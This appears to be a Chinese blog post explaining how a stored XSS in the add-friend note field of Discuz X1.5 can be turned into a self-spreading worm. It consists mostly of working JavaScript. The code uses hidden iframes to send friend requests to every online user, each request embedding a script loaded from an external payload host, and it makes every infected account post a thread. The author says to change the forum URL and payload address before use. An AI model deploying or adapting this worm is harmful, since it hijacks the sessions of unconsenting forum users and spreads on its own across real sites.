Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散。

位置在添加好友处

 

x完之后的效果

  

点击后触发

 

ok 借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。

step 1 : attacker 发送带xss worm payload给 用户a,

step 2 : 用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload

step 3 : 被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子

没code说个jb,worm代码如下

你需要修改

1 urlBase 为你的想1.5 论坛基地址

2 存放xss的payload的地址

 

 

//code for xss test


//论坛的基地址
var urlBase = "http://forum.xxx.com";



var add= function(uid){

    var ifBox = window['ifBox'] || (window['ifBox']={});

    var uyk = (new Date()).getTime();

    var ifFame = ifBox[uyk] =document.createElement("iframe");

    ifFame.src=urlBase + "/home.php?mod=spacecp&ac=friend&op=add&uid="+uid;

    ifFame.width=0;ifFame.height=0;

    ifFame.onload = function(){

        try{
//存放xss payload的地址
            ifFame.contentDocument.getElementsByName("note")[0].value= 'hello<script src="http://xxx.xxx.xxx/js/dz.js"></script>';

            ifFame.contentDocument.getElementById("addsubmit_btn").click();

            ifFame=null;

        }catch(err){

        }

    }    

    document.body.appendChild(ifFame);

}





var newThread = function(){

    var if1 = document.createElement("iframe");

    if1.src= urlBase+"/forum.php?mod=post&action=newthread&fid=21";

    if1.width=0;if1.height=0;

    if1.onload = function(){

        var doc =if1.contentDocument;

        doc.getElementById("subject").value = "哇卡卡卡~~~";

        if1.contentDocument.getElementById("e_iframe").contentDocument.body.innerHTML =" _______________</br>< XSS Worm Test ></br> ---------------</br>        \   ^__^</br>         \  (oo)\_______</br>            (__)\       )\/\</br>                ||----w |</br>                ||     ||</br>";

        doc.getElementById("postsubmit").click();

        if1.onload = function(){return false;}

    }

    document.body.appendChild(if1);

}





var if0 = document.createElement("iframe");

if0.src= urlBase + "/forum.php?showoldetails=yes#online";

if0.width=0;if0.height=0;

if0.onload = function(){

    var uli =if0.contentDocument.getElementsByTagName("li");

    for(var i = 0;i<uli.length;i++){

        if(uli[i].title.length > 5){

            var uid = uli[i].childNodes[3].href.substring(uli[i].childNodes[3].href.indexOf("uid=")+4);



            var r = Math.round(Math.random() * 10);

           // if(i%10 == r){

                //轻点

                newThread();

                add(uid);

          //  }

        }

    }

}

document.body.appendChild(if0);

 

 

这里面又很多的坑包括js的异步加载,跨iframe的元素操作等等,希望对其他人能提供帮助。

实际的worm效果是,20分钟内刷了30页,每页20篇的论坛帖子把~~

 

posted @ 2015-11-10 13:29  l4wl137  阅读(1141)  评论(2编辑  收藏  举报